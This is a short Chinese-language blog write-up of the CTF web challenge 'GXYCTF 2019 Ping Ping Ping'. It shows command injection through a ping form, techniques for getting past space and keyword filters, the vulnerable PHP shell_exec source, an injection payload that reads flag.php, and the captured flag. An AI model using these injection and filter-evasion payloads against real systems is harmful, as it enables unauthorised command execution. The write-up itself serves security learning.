mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
首页 / CTF / Web 13 [GXYCTF 2019]Ping Ping Ping
201 字
1 分钟
Web 13 [GXYCTF 2019]Ping Ping Ping
2025-01-11
无标签

ping 类型的题目,练练命令注入。

先 ping 127.0.0.1

添加管道符尝试其他命令:

发现目录下有两个 php 文件,其中有 flag,尝试读取:

127.0.0.1|cat flag.php

发现空格被过滤了。尝试各种绕过:

  • ${IFS} 代替空格
  • 重定向符号
  • {cat,flag.php} 语法
  • $() 或反引号执行命令
  • %09(Tab 字符)代替空格

全部被过滤:

法一:变量赋值绕过#

先查看 index.php 源码:

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);

过滤规则中,只要 flag 按顺序出现就会被拦截,但可以用变量赋值打散:

输入 127.0.0.1;q=g;cat$IFS$9fla$q.php

查看源码得到 flag:

NSSCTF{9cd25729-d16e-462c-976d-c4a5cb055b8b}

法二:反引号绕过#

Linux 下会先执行反引号内的命令,ls 的结果是 index.php flag.php,最终等价于执行 cat index.php flag.php

也成功拿到 flag:

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Web 13 [GXYCTF 2019]Ping Ping Ping
https://npiter.de/posts/web-13-gxyctf-2019ping-ping-ping/
作者
piter
发布于
2025-01-11
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00